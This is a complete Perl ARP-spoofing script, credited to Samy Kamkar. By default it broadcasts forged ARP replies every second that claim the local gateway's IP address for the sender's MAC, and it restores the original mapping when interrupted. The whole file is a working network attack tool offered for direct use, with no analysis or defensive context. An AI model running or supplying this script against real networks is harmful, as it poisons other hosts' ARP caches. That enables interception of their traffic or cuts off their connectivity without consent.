#!/usr/bin/perl

# by samy kamkar

use strict;
use Packet::Inject;
use Packet::Ethernet;
use Packet::ARP;

my ($netstat) = grep { /^default/ } `/usr/sbin/netstat -nr`;
my ($dev) = ($netstat =~ /(\w+)$/);
my $dst_mac = 'ff:ff:ff:ff:ff:ff';
my ($src_mac) = (`/sbin/ifconfig $dev` =~ /ether (\S+)/);

my ($dst_ip) = ($netstat =~ /(\d+\.\d+\.\d+\.\d+)/);

print "usage: $0 [-i interface] [-s source MAC] [-t target MAC] [-h target IP]

-i: interface to send on, defaults to your default interface ($dev)
-s: source MAC, defaults to your source MAC ($src_mac)
-t: target MAC, defaults to broadcast ($dst_mac)
-h: target IP, defaults to your gateway ($dst_ip)
\n";

# hack
for (my $i = 0; $i < @ARGV; $i++)
{
	if ($ARGV[$i] eq "-i")
	{
		$dev = $ARGV[$i+1];
		($src_mac) = (`/sbin/ifconfig $dev` =~ /ether (\S+)/);
	}
	elsif ($ARGV[$i] eq "-s")
	{
		$src_mac = $ARGV[$i+1];
	}
	elsif ($ARGV[$i] eq "-t")
	{
		$dst_mac = $ARGV[$i+1];
	}
	elsif ($ARGV[$i] eq "-h")
	{
		$dst_ip = $ARGV[$i+1];
	}
}

# grab original mac so we can restore when done
my ($orig_mac) = (`/usr/sbin/arp -na` =~ /\($dst_ip\) at (\S+)/);

# generate raw packets
my $raw = new Packet::Inject(device => $dev);
my $eth = new Packet::Ethernet(src_mac => $src_mac, dest_mac => $dst_mac)->encode();
my $arp = new Packet::ARP(
 sender_eth => $src_mac,
 target_eth => $dst_mac,
 sender_ip  => $dst_ip,
 target_ip  => $dst_ip,
 opcode			=> 2,
)->encode();


# send original packet back
$SIG{INT} = sub
{
	my $eth = new Packet::Ethernet(src_mac => $orig_mac, dest_mac => $dst_mac)->encode();
	my $arp = new Packet::ARP(
	 sender_eth => $orig_mac,
	 target_eth => $dst_mac,
	 sender_ip  => $dst_ip,
	 target_ip  => $dst_ip,
	 opcode			=> 2,
	)->encode();

	print "\r$dev: $orig_mac:$dst_ip -> $dst_mac:$dst_ip (was $orig_mac)\n";
	$raw->write(packet => $eth . $arp);
	sleep(1);
	print "$dev: $orig_mac:$dst_ip -> $dst_mac:$dst_ip (was $orig_mac)\n";
	$raw->write(packet => $eth . $arp);
	sleep(1);
	print "$dev: $orig_mac:$dst_ip -> $dst_mac:$dst_ip (was $orig_mac)\n";
	$raw->write(packet => $eth . $arp);

	exit;
	$raw->close();
	
};


# boom
$raw->open() || die "Can't open/init bpf device: $raw->{errbuf}\n";
while (1)
{
	print "$dev: $src_mac:$dst_ip -> $dst_mac:$dst_ip (was $orig_mac)\n";
	$raw->write(packet => $eth . $arp);
	sleep(1);
}
$raw->close();


